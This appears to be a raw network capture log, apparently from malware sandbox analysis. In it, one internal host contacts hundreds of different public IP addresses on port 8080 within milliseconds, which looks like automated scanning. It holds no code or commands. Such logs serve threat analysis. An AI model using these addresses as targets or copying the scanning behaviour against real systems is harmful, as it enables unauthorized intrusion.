Nov 23, 2023 05:14:50.632004023 CET	54202	8080	192.168.2.13	95.163.251.36
Nov 23, 2023 05:14:50.632009983 CET	54202	8080	192.168.2.13	95.14.174.125
Nov 23, 2023 05:14:50.632014990 CET	54202	8080	192.168.2.13	31.47.111.201
Nov 23, 2023 05:14:50.632028103 CET	54202	8080	192.168.2.13	31.115.236.142
Nov 23, 2023 05:14:50.632029057 CET	54202	8080	192.168.2.13	95.106.40.174
Nov 23, 2023 05:14:50.632034063 CET	54202	8080	192.168.2.13	62.230.207.59
Nov 23, 2023 05:14:50.632034063 CET	54202	8080	192.168.2.13	62.51.243.142
Nov 23, 2023 05:14:50.632044077 CET	54202	8080	192.168.2.13	62.47.220.146
Nov 23, 2023 05:14:50.632052898 CET	54202	8080	192.168.2.13	85.173.4.236
Nov 23, 2023 05:14:50.632066011 CET	54202	8080	192.168.2.13	62.2.141.15
Nov 23, 2023 05:14:50.632076025 CET	54202	8080	192.168.2.13	31.92.249.112
Nov 23, 2023 05:14:50.632080078 CET	54202	8080	192.168.2.13	62.65.98.197
Nov 23, 2023 05:14:50.632082939 CET	54202	8080	192.168.2.13	85.144.248.82
Nov 23, 2023 05:14:50.632086039 CET	54202	8080	192.168.2.13	62.203.98.142
Nov 23, 2023 05:14:50.632097960 CET	54202	8080	192.168.2.13	94.98.163.0
Nov 23, 2023 05:14:50.632102013 CET	54202	8080	192.168.2.13	95.107.252.119
Nov 23, 2023 05:14:50.632102966 CET	54202	8080	192.168.2.13	31.199.213.201
Nov 23, 2023 05:14:50.632119894 CET	54202	8080	192.168.2.13	62.159.11.51
Nov 23, 2023 05:14:50.632119894 CET	54202	8080	192.168.2.13	94.244.191.247
Nov 23, 2023 05:14:50.632123947 CET	54202	8080	192.168.2.13	31.90.139.17
Nov 23, 2023 05:14:50.632123947 CET	54202	8080	192.168.2.13	31.121.113.24
Nov 23, 2023 05:14:50.632129908 CET	54202	8080	192.168.2.13	85.92.123.164
Nov 23, 2023 05:14:50.632137060 CET	54202	8080	192.168.2.13	95.61.20.7
Nov 23, 2023 05:14:50.632148981 CET	54202	8080	192.168.2.13	85.110.106.216
Nov 23, 2023 05:14:50.632153034 CET	54202	8080	192.168.2.13	85.24.251.113
Nov 23, 2023 05:14:50.632155895 CET	54202	8080	192.168.2.13	62.209.82.49
Nov 23, 2023 05:14:50.632167101 CET	54202	8080	192.168.2.13	62.195.143.55
Nov 23, 2023 05:14:50.632174015 CET	54202	8080	192.168.2.13	85.207.49.108
Nov 23, 2023 05:14:50.632177114 CET	54202	8080	192.168.2.13	62.68.196.92
Nov 23, 2023 05:14:50.632177114 CET	54202	8080	192.168.2.13	31.202.3.8
Nov 23, 2023 05:14:50.632178068 CET	54202	8080	192.168.2.13	31.117.71.47
Nov 23, 2023 05:14:50.632178068 CET	54202	8080	192.168.2.13	85.253.243.248
Nov 23, 2023 05:14:50.632181883 CET	54202	8080	192.168.2.13	85.225.58.115
Nov 23, 2023 05:14:50.632189989 CET	54202	8080	192.168.2.13	62.94.141.69
Nov 23, 2023 05:14:50.632189989 CET	54202	8080	192.168.2.13	31.120.82.83
Nov 23, 2023 05:14:50.632198095 CET	54202	8080	192.168.2.13	95.95.104.86
Nov 23, 2023 05:14:50.632214069 CET	54202	8080	192.168.2.13	31.99.89.115
Nov 23, 2023 05:14:50.632216930 CET	54202	8080	192.168.2.13	94.36.190.107
Nov 23, 2023 05:14:50.632226944 CET	54202	8080	192.168.2.13	31.179.51.174
Nov 23, 2023 05:14:50.632232904 CET	54202	8080	192.168.2.13	62.120.59.234
Nov 23, 2023 05:14:50.632236004 CET	54202	8080	192.168.2.13	31.104.222.103
Nov 23, 2023 05:14:50.632251978 CET	54202	8080	192.168.2.13	85.215.233.140
Nov 23, 2023 05:14:50.632257938 CET	54202	8080	192.168.2.13	31.11.247.53
Nov 23, 2023 05:14:50.632261992 CET	54202	8080	192.168.2.13	62.97.128.254
Nov 23, 2023 05:14:50.632273912 CET	54202	8080	192.168.2.13	62.148.148.88
Nov 23, 2023 05:14:50.632275105 CET	54202	8080	192.168.2.13	95.250.209.86
Nov 23, 2023 05:14:50.632287979 CET	54202	8080	192.168.2.13	94.142.82.227
Nov 23, 2023 05:14:50.632292032 CET	54202	8080	192.168.2.13	62.253.179.176
Nov 23, 2023 05:14:50.632301092 CET	54202	8080	192.168.2.13	62.165.25.0
Nov 23, 2023 05:14:50.632306099 CET	54202	8080	192.168.2.13	62.162.169.63
Nov 23, 2023 05:14:50.632319927 CET	54202	8080	192.168.2.13	94.31.229.14
Nov 23, 2023 05:14:50.632322073 CET	54202	8080	192.168.2.13	85.129.16.63
Nov 23, 2023 05:14:50.632328033 CET	54202	8080	192.168.2.13	94.3.65.88
Nov 23, 2023 05:14:50.632335901 CET	54202	8080	192.168.2.13	94.103.106.250
Nov 23, 2023 05:14:50.632335901 CET	54202	8080	192.168.2.13	95.162.65.12
Nov 23, 2023 05:14:50.632354975 CET	54202	8080	192.168.2.13	94.73.151.163
Nov 23, 2023 05:14:50.632354975 CET	54202	8080	192.168.2.13	85.126.53.216
Nov 23, 2023 05:14:50.632356882 CET	54202	8080	192.168.2.13	31.220.136.171
Nov 23, 2023 05:14:50.632364035 CET	54202	8080	192.168.2.13	62.52.220.95
Nov 23, 2023 05:14:50.632366896 CET	54202	8080	192.168.2.13	94.54.149.188
Nov 23, 2023 05:14:50.632368088 CET	54202	8080	192.168.2.13	62.206.138.135
Nov 23, 2023 05:14:50.632368088 CET	54202	8080	192.168.2.13	94.53.213.200
Nov 23, 2023 05:14:50.632385015 CET	54202	8080	192.168.2.13	31.191.248.217
Nov 23, 2023 05:14:50.632385969 CET	54202	8080	192.168.2.13	62.172.204.90
Nov 23, 2023 05:14:50.632388115 CET	54202	8080	192.168.2.13	62.204.72.146
Nov 23, 2023 05:14:50.632405043 CET	54202	8080	192.168.2.13	94.112.194.35
Nov 23, 2023 05:14:50.632406950 CET	54202	8080	192.168.2.13	31.238.30.130
Nov 23, 2023 05:14:50.632406950 CET	54202	8080	192.168.2.13	62.101.198.118
Nov 23, 2023 05:14:50.632415056 CET	54202	8080	192.168.2.13	85.190.121.116
Nov 23, 2023 05:14:50.632415056 CET	54202	8080	192.168.2.13	85.71.66.225
Nov 23, 2023 05:14:50.632431030 CET	54202	8080	192.168.2.13	94.125.38.152
Nov 23, 2023 05:14:50.632431984 CET	54202	8080	192.168.2.13	31.120.180.93
Nov 23, 2023 05:14:50.632435083 CET	54202	8080	192.168.2.13	62.22.173.108
Nov 23, 2023 05:14:50.632447004 CET	54202	8080	192.168.2.13	94.236.54.92
Nov 23, 2023 05:14:50.632453918 CET	54202	8080	192.168.2.13	95.59.85.124
Nov 23, 2023 05:14:50.632453918 CET	54202	8080	192.168.2.13	85.53.90.229
Nov 23, 2023 05:14:50.632456064 CET	54202	8080	192.168.2.13	94.133.141.0
Nov 23, 2023 05:14:50.632472992 CET	54202	8080	192.168.2.13	94.56.166.73
Nov 23, 2023 05:14:50.632476091 CET	54202	8080	192.168.2.13	85.197.212.72
Nov 23, 2023 05:14:50.632476091 CET	54202	8080	192.168.2.13	62.144.66.60
Nov 23, 2023 05:14:50.632476091 CET	54202	8080	192.168.2.13	31.247.46.162
Nov 23, 2023 05:14:50.632487059 CET	54202	8080	192.168.2.13	31.157.167.129
Nov 23, 2023 05:14:50.632488966 CET	54202	8080	192.168.2.13	31.41.180.62
Nov 23, 2023 05:14:50.632499933 CET	54202	8080	192.168.2.13	31.184.247.214
Nov 23, 2023 05:14:50.632500887 CET	54202	8080	192.168.2.13	31.203.53.114
Nov 23, 2023 05:14:50.632508039 CET	54202	8080	192.168.2.13	94.95.121.168
Nov 23, 2023 05:14:50.632525921 CET	54202	8080	192.168.2.13	62.138.223.0
Nov 23, 2023 05:14:50.632529020 CET	54202	8080	192.168.2.13	94.76.129.219
Nov 23, 2023 05:14:50.632531881 CET	54202	8080	192.168.2.13	85.200.56.215
Nov 23, 2023 05:14:50.632531881 CET	54202	8080	192.168.2.13	94.40.81.185
Nov 23, 2023 05:14:50.632531881 CET	54202	8080	192.168.2.13	62.115.0.56
Nov 23, 2023 05:14:50.632546902 CET	54202	8080	192.168.2.13	94.17.189.133
Nov 23, 2023 05:14:50.632550001 CET	54202	8080	192.168.2.13	31.213.0.97
Nov 23, 2023 05:14:50.632550001 CET	54202	8080	192.168.2.13	31.201.150.32
Nov 23, 2023 05:14:50.632563114 CET	54202	8080	192.168.2.13	85.75.16.14
Nov 23, 2023 05:14:50.632570028 CET	54202	8080	192.168.2.13	85.110.230.231
Nov 23, 2023 05:14:50.632579088 CET	54202	8080	192.168.2.13	85.48.77.190
Nov 23, 2023 05:14:50.632582903 CET	54202	8080	192.168.2.13	85.65.218.59
Nov 23, 2023 05:14:50.632596970 CET	54202	8080	192.168.2.13	94.139.29.66
Nov 23, 2023 05:14:50.632603884 CET	54202	8080	192.168.2.13	94.131.60.50
Nov 23, 2023 05:14:50.632606983 CET	54202	8080	192.168.2.13	95.204.7.42
Nov 23, 2023 05:14:50.632606983 CET	54202	8080	192.168.2.13	31.30.163.100
Nov 23, 2023 05:14:50.632620096 CET	54202	8080	192.168.2.13	85.135.199.4
Nov 23, 2023 05:14:50.632623911 CET	54202	8080	192.168.2.13	94.18.120.80
Nov 23, 2023 05:14:50.632623911 CET	54202	8080	192.168.2.13	85.9.167.162
Nov 23, 2023 05:14:50.632639885 CET	54202	8080	192.168.2.13	85.88.30.151
Nov 23, 2023 05:14:50.632643938 CET	54202	8080	192.168.2.13	95.93.211.242
Nov 23, 2023 05:14:50.632647991 CET	54202	8080	192.168.2.13	85.65.252.192
Nov 23, 2023 05:14:50.632648945 CET	54202	8080	192.168.2.13	94.118.228.231
Nov 23, 2023 05:14:50.632664919 CET	54202	8080	192.168.2.13	94.122.241.127
Nov 23, 2023 05:14:50.632664919 CET	54202	8080	192.168.2.13	95.26.154.7
Nov 23, 2023 05:14:50.632664919 CET	54202	8080	192.168.2.13	31.132.20.97
Nov 23, 2023 05:14:50.632673979 CET	54202	8080	192.168.2.13	31.180.183.62
Nov 23, 2023 05:14:50.632674932 CET	54202	8080	192.168.2.13	94.16.223.130
Nov 23, 2023 05:14:50.632674932 CET	54202	8080	192.168.2.13	62.113.150.136
Nov 23, 2023 05:14:50.632688046 CET	54202	8080	192.168.2.13	31.82.218.53
Nov 23, 2023 05:14:50.632693052 CET	54202	8080	192.168.2.13	62.232.103.155
Nov 23, 2023 05:14:50.632702112 CET	54202	8080	192.168.2.13	95.82.72.162
Nov 23, 2023 05:14:50.632714987 CET	54202	8080	192.168.2.13	62.237.133.136
Nov 23, 2023 05:14:50.632715940 CET	54202	8080	192.168.2.13	95.78.164.100
Nov 23, 2023 05:14:50.632719040 CET	54202	8080	192.168.2.13	94.232.219.41
Nov 23, 2023 05:14:50.632728100 CET	54202	8080	192.168.2.13	31.60.178.201
Nov 23, 2023 05:14:50.632735014 CET	54202	8080	192.168.2.13	31.30.70.54
Nov 23, 2023 05:14:50.632740021 CET	54202	8080	192.168.2.13	31.8.91.247
Nov 23, 2023 05:14:50.632752895 CET	54202	8080	192.168.2.13	62.54.221.109
Nov 23, 2023 05:14:50.632757902 CET	54202	8080	192.168.2.13	85.104.205.47
Nov 23, 2023 05:14:50.632762909 CET	54202	8080	192.168.2.13	62.114.208.81
Nov 23, 2023 05:14:50.632762909 CET	54202	8080	192.168.2.13	62.230.200.43
Nov 23, 2023 05:14:50.632782936 CET	54202	8080	192.168.2.13	95.220.251.58
Nov 23, 2023 05:14:50.632785082 CET	54202	8080	192.168.2.13	62.150.71.164
Nov 23, 2023 05:14:50.632788897 CET	54202	8080	192.168.2.13	95.159.173.196
Nov 23, 2023 05:14:50.632788897 CET	54202	8080	192.168.2.13	95.238.74.63
Nov 23, 2023 05:14:50.632788897 CET	54202	8080	192.168.2.13	62.91.113.20
Nov 23, 2023 05:14:50.632797956 CET	54202	8080	192.168.2.13	62.189.246.13
Nov 23, 2023 05:14:50.632817984 CET	54202	8080	192.168.2.13	95.114.95.113
Nov 23, 2023 05:14:50.632817984 CET	54202	8080	192.168.2.13	94.55.214.117
Nov 23, 2023 05:14:50.632817984 CET	54202	8080	192.168.2.13	95.178.12.48
Nov 23, 2023 05:14:50.632821083 CET	54202	8080	192.168.2.13	31.0.234.136
Nov 23, 2023 05:14:50.632827997 CET	54202	8080	192.168.2.13	31.97.175.39
Nov 23, 2023 05:14:50.632842064 CET	54202	8080	192.168.2.13	94.210.64.117
Nov 23, 2023 05:14:50.632847071 CET	54202	8080	192.168.2.13	62.103.3.25
Nov 23, 2023 05:14:50.632847071 CET	54202	8080	192.168.2.13	31.83.111.46
Nov 23, 2023 05:14:50.632848978 CET	54202	8080	192.168.2.13	62.45.203.223
Nov 23, 2023 05:14:50.632848978 CET	54202	8080	192.168.2.13	95.78.42.164
Nov 23, 2023 05:14:50.632863998 CET	54202	8080	192.168.2.13	94.33.131.146
Nov 23, 2023 05:14:50.632868052 CET	54202	8080	192.168.2.13	31.113.201.137
Nov 23, 2023 05:14:50.632874012 CET	54202	8080	192.168.2.13	31.114.0.249
Nov 23, 2023 05:14:50.632884979 CET	54202	8080	192.168.2.13	95.56.211.168
Nov 23, 2023 05:14:50.632884979 CET	54202	8080	192.168.2.13	31.51.114.141
Nov 23, 2023 05:14:50.632885933 CET	54202	8080	192.168.2.13	85.182.3.65
Nov 23, 2023 05:14:50.632889032 CET	54202	8080	192.168.2.13	95.251.160.221
Nov 23, 2023 05:14:50.632899046 CET	54202	8080	192.168.2.13	31.10.11.205
Nov 23, 2023 05:14:50.632900000 CET	54202	8080	192.168.2.13	95.208.31.68
Nov 23, 2023 05:14:50.632908106 CET	54202	8080	192.168.2.13	95.245.104.71
Nov 23, 2023 05:14:50.632924080 CET	54202	8080	192.168.2.13	94.8.197.169
Nov 23, 2023 05:14:50.632924080 CET	54202	8080	192.168.2.13	31.18.182.103
Nov 23, 2023 05:14:50.632924080 CET	54202	8080	192.168.2.13	31.109.174.239
Nov 23, 2023 05:14:50.632926941 CET	54202	8080	192.168.2.13	95.158.231.238
Nov 23, 2023 05:14:50.632941008 CET	54202	8080	192.168.2.13	95.211.0.107
Nov 23, 2023 05:14:50.632941008 CET	54202	8080	192.168.2.13	31.49.252.23
Nov 23, 2023 05:14:50.632946014 CET	54202	8080	192.168.2.13	31.67.213.151
Nov 23, 2023 05:14:50.632950068 CET	54202	8080	192.168.2.13	95.200.46.80
Nov 23, 2023 05:14:50.632961035 CET	54202	8080	192.168.2.13	94.131.204.88
Nov 23, 2023 05:14:50.632977962 CET	54202	8080	192.168.2.13	95.181.238.171
Nov 23, 2023 05:14:50.632978916 CET	54202	8080	192.168.2.13	85.241.240.3
Nov 23, 2023 05:14:50.632982016 CET	54202	8080	192.168.2.13	95.115.53.11
Nov 23, 2023 05:14:50.632982969 CET	54202	8080	192.168.2.13	62.255.23.30
Nov 23, 2023 05:14:50.632987976 CET	54202	8080	192.168.2.13	94.66.224.96
Nov 23, 2023 05:14:50.632989883 CET	54202	8080	192.168.2.13	62.58.139.42
Nov 23, 2023 05:14:50.633004904 CET	54202	8080	192.168.2.13	94.55.118.59
Nov 23, 2023 05:14:50.633008003 CET	54202	8080	192.168.2.13	94.27.213.94
Nov 23, 2023 05:14:50.633012056 CET	54202	8080	192.168.2.13	31.102.141.126
Nov 23, 2023 05:14:50.633012056 CET	54202	8080	192.168.2.13	31.242.20.68
Nov 23, 2023 05:14:50.633016109 CET	54202	8080	192.168.2.13	62.164.218.66
Nov 23, 2023 05:14:50.633016109 CET	54202	8080	192.168.2.13	31.118.206.196
Nov 23, 2023 05:14:50.633025885 CET	54202	8080	192.168.2.13	94.85.103.13
Nov 23, 2023 05:14:50.633044958 CET	54202	8080	192.168.2.13	94.143.250.68
Nov 23, 2023 05:14:50.633045912 CET	54202	8080	192.168.2.13	62.68.147.150
Nov 23, 2023 05:14:50.633049011 CET	54202	8080	192.168.2.13	95.150.245.161
Nov 23, 2023 05:14:50.633058071 CET	54202	8080	192.168.2.13	95.242.5.232
Nov 23, 2023 05:14:50.633059025 CET	54202	8080	192.168.2.13	85.97.27.160
Nov 23, 2023 05:14:50.633064985 CET	54202	8080	192.168.2.13	85.69.70.119
Nov 23, 2023 05:14:50.633073092 CET	54202	8080	192.168.2.13	95.251.179.166
Nov 23, 2023 05:14:50.633081913 CET	54202	8080	192.168.2.13	85.157.42.227
Nov 23, 2023 05:14:50.633085966 CET	54202	8080	192.168.2.13	31.34.189.31
Nov 23, 2023 05:14:50.633097887 CET	54202	8080	192.168.2.13	94.21.48.85
Nov 23, 2023 05:14:50.633097887 CET	54202	8080	192.168.2.13	62.157.198.131
Nov 23, 2023 05:14:50.633099079 CET	54202	8080	192.168.2.13	62.150.162.24
Nov 23, 2023 05:14:50.633112907 CET	54202	8080	192.168.2.13	94.247.223.30
Nov 23, 2023 05:14:50.633116007 CET	54202	8080	192.168.2.13	62.215.142.173
Nov 23, 2023 05:14:50.633131027 CET	54202	8080	192.168.2.13	95.80.24.225
Nov 23, 2023 05:14:50.633131027 CET	54202	8080	192.168.2.13	94.244.239.232
Nov 23, 2023 05:14:50.633136034 CET	54202	8080	192.168.2.13	31.82.123.52
Nov 23, 2023 05:14:50.633145094 CET	54202	8080	192.168.2.13	95.17.23.106
Nov 23, 2023 05:14:50.633152962 CET	54202	8080	192.168.2.13	94.10.24.178
Nov 23, 2023 05:14:50.633152962 CET	54202	8080	192.168.2.13	62.142.159.110
Nov 23, 2023 05:14:50.633153915 CET	54202	8080	192.168.2.13	62.153.53.97
Nov 23, 2023 05:14:50.633157969 CET	54202	8080	192.168.2.13	62.243.47.17
Nov 23, 2023 05:14:50.633169889 CET	54202	8080	192.168.2.13	95.28.145.198
Nov 23, 2023 05:14:50.633172989 CET	54202	8080	192.168.2.13	31.66.156.239
Nov 23, 2023 05:14:50.633179903 CET	54202	8080	192.168.2.13	95.241.5.10
Nov 23, 2023 05:14:50.633181095 CET	54202	8080	192.168.2.13	94.82.8.175
Nov 23, 2023 05:14:50.633197069 CET	54202	8080	192.168.2.13	85.161.130.243
Nov 23, 2023 05:14:50.633198977 CET	54202	8080	192.168.2.13	95.245.218.121
Nov 23, 2023 05:14:50.633203030 CET	54202	8080	192.168.2.13	85.221.78.14
Nov 23, 2023 05:14:50.633203030 CET	54202	8080	192.168.2.13	62.41.79.182
Nov 23, 2023 05:14:50.633215904 CET	54202	8080	192.168.2.13	95.170.215.15
Nov 23, 2023 05:14:50.633218050 CET	54202	8080	192.168.2.13	94.135.98.227
Nov 23, 2023 05:14:50.633233070 CET	54202	8080	192.168.2.13	62.103.158.109
Nov 23, 2023 05:14:50.633238077 CET	54202	8080	192.168.2.13	95.20.133.193
Nov 23, 2023 05:14:50.633245945 CET	54202	8080	192.168.2.13	94.177.249.156
Nov 23, 2023 05:14:50.633245945 CET	54202	8080	192.168.2.13	31.65.15.43
Nov 23, 2023 05:14:50.633258104 CET	54202	8080	192.168.2.13	85.195.141.93
Nov 23, 2023 05:14:50.633259058 CET	54202	8080	192.168.2.13	94.123.110.199
Nov 23, 2023 05:14:50.633279085 CET	54202	8080	192.168.2.13	31.213.129.235
Nov 23, 2023 05:14:50.633280039 CET	54202	8080	192.168.2.13	62.33.193.99
Nov 23, 2023 05:14:50.633291006 CET	54202	8080	192.168.2.13	94.147.169.183
Nov 23, 2023 05:14:50.633299112 CET	54202	8080	192.168.2.13	94.249.238.47
Nov 23, 2023 05:14:50.633306026 CET	54202	8080	192.168.2.13	31.195.113.55
Nov 23, 2023 05:14:50.633306980 CET	54202	8080	192.168.2.13	95.28.130.137
Nov 23, 2023 05:14:50.633322954 CET	54202	8080	192.168.2.13	31.103.75.79
Nov 23, 2023 05:14:50.633326054 CET	54202	8080	192.168.2.13	31.215.191.223
Nov 23, 2023 05:14:50.633333921 CET	54202	8080	192.168.2.13	94.128.243.245
Nov 23, 2023 05:14:50.633341074 CET	54202	8080	192.168.2.13	31.60.188.156
Nov 23, 2023 05:14:50.633353949 CET	54202	8080	192.168.2.13	62.168.53.169
Nov 23, 2023 05:14:50.633356094 CET	54202	8080	192.168.2.13	95.107.255.138
Nov 23, 2023 05:14:50.633371115 CET	54202	8080	192.168.2.13	95.83.131.26
Nov 23, 2023 05:14:50.633383036 CET	54202	8080	192.168.2.13	31.23.170.206
Nov 23, 2023 05:14:50.633385897 CET	54202	8080	192.168.2.13	62.19.76.28
Nov 23, 2023 05:14:50.633398056 CET	54202	8080	192.168.2.13	95.35.250.160
Nov 23, 2023 05:14:50.633398056 CET	54202	8080	192.168.2.13	85.234.104.239
Nov 23, 2023 05:14:50.633409977 CET	54202	8080	192.168.2.13	62.61.91.76
Nov 23, 2023 05:14:50.633419991 CET	54202	8080	192.168.2.13	85.210.81.178
Nov 23, 2023 05:14:50.633420944 CET	54202	8080	192.168.2.13	85.178.151.207
Nov 23, 2023 05:14:50.633425951 CET	54202	8080	192.168.2.13	94.83.148.84
Nov 23, 2023 05:14:50.633425951 CET	54202	8080	192.168.2.13	95.154.116.0
Nov 23, 2023 05:14:50.633440971 CET	54202	8080	192.168.2.13	62.42.222.15
Nov 23, 2023 05:14:50.633447886 CET	54202	8080	192.168.2.13	31.127.4.228
Nov 23, 2023 05:14:50.633451939 CET	54202	8080	192.168.2.13	94.81.254.54
Nov 23, 2023 05:14:50.633456945 CET	54202	8080	192.168.2.13	95.32.47.188
Nov 23, 2023 05:14:50.633467913 CET	54202	8080	192.168.2.13	95.254.141.242
Nov 23, 2023 05:14:50.633481026 CET	54202	8080	192.168.2.13	94.211.77.224
Nov 23, 2023 05:14:50.633485079 CET	54202	8080	192.168.2.13	31.232.230.184
Nov 23, 2023 05:14:50.633490086 CET	54202	8080	192.168.2.13	31.235.69.48
Nov 23, 2023 05:14:50.633490086 CET	54202	8080	192.168.2.13	95.80.70.189
Nov 23, 2023 05:14:50.633508921 CET	54202	8080	192.168.2.13	62.2.234.50
Nov 23, 2023 05:14:50.633511066 CET	54202	8080	192.168.2.13	85.13.67.253
Nov 23, 2023 05:14:50.633512020 CET	54202	8080	192.168.2.13	94.153.245.25
Nov 23, 2023 05:14:50.633514881 CET	54202	8080	192.168.2.13	94.235.42.225
Nov 23, 2023 05:14:50.633527994 CET	54202	8080	192.168.2.13	94.198.42.158
Nov 23, 2023 05:14:50.633533001 CET	54202	8080	192.168.2.13	95.0.250.111
Nov 23, 2023 05:14:50.633537054 CET	54202	8080	192.168.2.13	85.138.17.195
Nov 23, 2023 05:14:50.633548975 CET	54202	8080	192.168.2.13	95.161.81.79
Nov 23, 2023 05:14:50.633560896 CET	54202	8080	192.168.2.13	85.168.176.8
Nov 23, 2023 05:14:50.633567095 CET	54202	8080	192.168.2.13	62.50.5.153
Nov 23, 2023 05:14:50.633579969 CET	54202	8080	192.168.2.13	62.18.41.168
Nov 23, 2023 05:14:50.633584976 CET	54202	8080	192.168.2.13	85.84.113.128
Nov 23, 2023 05:14:50.633588076 CET	54202	8080	192.168.2.13	62.182.11.196
Nov 23, 2023 05:14:50.633594990 CET	54202	8080	192.168.2.13	94.88.213.210
Nov 23, 2023 05:14:50.633594990 CET	54202	8080	192.168.2.13	94.111.25.13
Nov 23, 2023 05:14:50.633603096 CET	54202	8080	192.168.2.13	31.174.245.231
Nov 23, 2023 05:14:50.633615017 CET	54202	8080	192.168.2.13	62.92.105.178
Nov 23, 2023 05:14:50.633620977 CET	54202	8080	192.168.2.13	62.40.129.181
Nov 23, 2023 05:14:50.633625031 CET	54202	8080	192.168.2.13	95.190.33.31
Nov 23, 2023 05:14:50.633630991 CET	54202	8080	192.168.2.13	62.81.169.240
Nov 23, 2023 05:14:50.633639097 CET	54202	8080	192.168.2.13	62.220.202.44
Nov 23, 2023 05:14:50.633641005 CET	54202	8080	192.168.2.13	95.66.0.234
Nov 23, 2023 05:14:50.633649111 CET	54202	8080	192.168.2.13	31.211.222.14
Nov 23, 2023 05:14:50.633657932 CET	54202	8080	192.168.2.13	94.91.222.120
Nov 23, 2023 05:14:50.633672953 CET	54202	8080	192.168.2.13	95.128.248.97
Nov 23, 2023 05:14:50.633672953 CET	54202	8080	192.168.2.13	95.250.216.64
Nov 23, 2023 05:14:50.633680105 CET	54202	8080	192.168.2.13	31.8.29.124
Nov 23, 2023 05:14:50.633683920 CET	54202	8080	192.168.2.13	94.43.220.93
Nov 23, 2023 05:14:50.633686066 CET	54202	8080	192.168.2.13	94.173.180.131
Nov 23, 2023 05:14:50.633686066 CET	54202	8080	192.168.2.13	62.45.142.182
Nov 23, 2023 05:14:50.633697033 CET	54202	8080	192.168.2.13	95.199.241.220
Nov 23, 2023 05:14:50.633706093 CET	54202	8080	192.168.2.13	31.78.187.84
Nov 23, 2023 05:14:50.633707047 CET	54202	8080	192.168.2.13	62.253.67.133
Nov 23, 2023 05:14:50.633728027 CET	54202	8080	192.168.2.13	62.77.233.18
Nov 23, 2023 05:14:50.633728027 CET	54202	8080	192.168.2.13	31.67.156.120
Nov 23, 2023 05:14:50.633728981 CET	54202	8080	192.168.2.13	95.233.172.44
Nov 23, 2023 05:14:50.633728981 CET	54202	8080	192.168.2.13	85.162.109.229
Nov 23, 2023 05:14:50.633728981 CET	54202	8080	192.168.2.13	31.114.59.54
Nov 23, 2023 05:14:50.633744001 CET	54202	8080	192.168.2.13	31.238.189.153
Nov 23, 2023 05:14:50.633750916 CET	54202	8080	192.168.2.13	95.19.175.146
Nov 23, 2023 05:14:50.633757114 CET	54202	8080	192.168.2.13	95.188.98.43
Nov 23, 2023 05:14:50.633764982 CET	54202	8080	192.168.2.13	95.60.206.93
Nov 23, 2023 05:14:50.633764982 CET	54202	8080	192.168.2.13	31.96.24.197
Nov 23, 2023 05:14:50.633781910 CET	54202	8080	192.168.2.13	31.79.35.22
Nov 23, 2023 05:14:50.633781910 CET	54202	8080	192.168.2.13	95.251.37.92
Nov 23, 2023 05:14:50.633789062 CET	54202	8080	192.168.2.13	85.149.53.7
Nov 23, 2023 05:14:50.633802891 CET	54202	8080	192.168.2.13	62.32.208.134
Nov 23, 2023 05:14:50.633804083 CET	54202	8080	192.168.2.13	85.225.154.3
Nov 23, 2023 05:14:50.633807898 CET	54202	8080	192.168.2.13	62.21.213.32
Nov 23, 2023 05:14:50.633807898 CET	54202	8080	192.168.2.13	85.111.172.0
Nov 23, 2023 05:14:50.633816004 CET	54202	8080	192.168.2.13	94.209.237.249
Nov 23, 2023 05:14:50.633817911 CET	54202	8080	192.168.2.13	85.48.196.123
Nov 23, 2023 05:14:50.633822918 CET	54202	8080	192.168.2.13	31.155.176.0
Nov 23, 2023 05:14:50.633831978 CET	54202	8080	192.168.2.13	94.116.166.68
Nov 23, 2023 05:14:50.633847952 CET	54202	8080	192.168.2.13	85.192.123.158
Nov 23, 2023 05:14:50.633852005 CET	54202	8080	192.168.2.13	31.2.243.0
Nov 23, 2023 05:14:50.633867979 CET	54202	8080	192.168.2.13	31.228.250.195
Nov 23, 2023 05:14:50.633869886 CET	54202	8080	192.168.2.13	94.241.100.162
Nov 23, 2023 05:14:50.633869886 CET	54202	8080	192.168.2.13	85.5.157.99
Nov 23, 2023 05:14:50.633892059 CET	54202	8080	192.168.2.13	62.95.125.0
Nov 23, 2023 05:14:50.633892059 CET	54202	8080	192.168.2.13	94.144.71.209
Nov 23, 2023 05:14:50.633893967 CET	54202	8080	192.168.2.13	85.87.80.212
Nov 23, 2023 05:14:50.633902073 CET	54202	8080	192.168.2.13	94.238.65.127
Nov 23, 2023 05:14:50.633903027 CET	54202	8080	192.168.2.13	62.116.4.19
Nov 23, 2023 05:14:50.633903027 CET	54202	8080	192.168.2.13	62.138.251.244
Nov 23, 2023 05:14:50.633917093 CET	54202	8080	192.168.2.13	85.123.24.191
Nov 23, 2023 05:14:50.633924007 CET	54202	8080	192.168.2.13	85.103.99.71
Nov 23, 2023 05:14:50.633924007 CET	54202	8080	192.168.2.13	31.138.144.229
Nov 23, 2023 05:14:50.633925915 CET	54202	8080	192.168.2.13	94.228.236.37
Nov 23, 2023 05:14:50.633933067 CET	54202	8080	192.168.2.13	31.174.63.40
Nov 23, 2023 05:14:50.633940935 CET	54202	8080	192.168.2.13	31.48.247.93
Nov 23, 2023 05:14:50.633945942 CET	54202	8080	192.168.2.13	62.198.147.144
Nov 23, 2023 05:14:50.633949995 CET	54202	8080	192.168.2.13	94.157.237.214
Nov 23, 2023 05:14:50.633960009 CET	54202	8080	192.168.2.13	94.153.190.175
Nov 23, 2023 05:14:50.633961916 CET	54202	8080	192.168.2.13	62.102.104.149
Nov 23, 2023 05:14:50.633965969 CET	54202	8080	192.168.2.13	62.96.55.238
Nov 23, 2023 05:14:50.633977890 CET	54202	8080	192.168.2.13	94.140.229.167
Nov 23, 2023 05:14:50.633980036 CET	54202	8080	192.168.2.13	31.97.245.191
Nov 23, 2023 05:14:50.633991957 CET	54202	8080	192.168.2.13	94.48.94.40
Nov 23, 2023 05:14:50.633996964 CET	54202	8080	192.168.2.13	95.192.114.225
Nov 23, 2023 05:14:50.634001017 CET	54202	8080	192.168.2.13	62.100.35.34
Nov 23, 2023 05:14:50.634011984 CET	54202	8080	192.168.2.13	31.219.84.66
Nov 23, 2023 05:14:50.634013891 CET	54202	8080	192.168.2.13	95.183.75.74
Nov 23, 2023 05:14:50.634013891 CET	54202	8080	192.168.2.13	94.169.32.48
Nov 23, 2023 05:14:50.634032011 CET	54202	8080	192.168.2.13	95.192.112.232
Nov 23, 2023 05:14:50.634032011 CET	54202	8080	192.168.2.13	62.51.35.240
Nov 23, 2023 05:14:50.634035110 CET	54202	8080	192.168.2.13	85.80.31.96
Nov 23, 2023 05:14:50.634048939 CET	54202	8080	192.168.2.13	31.24.81.137
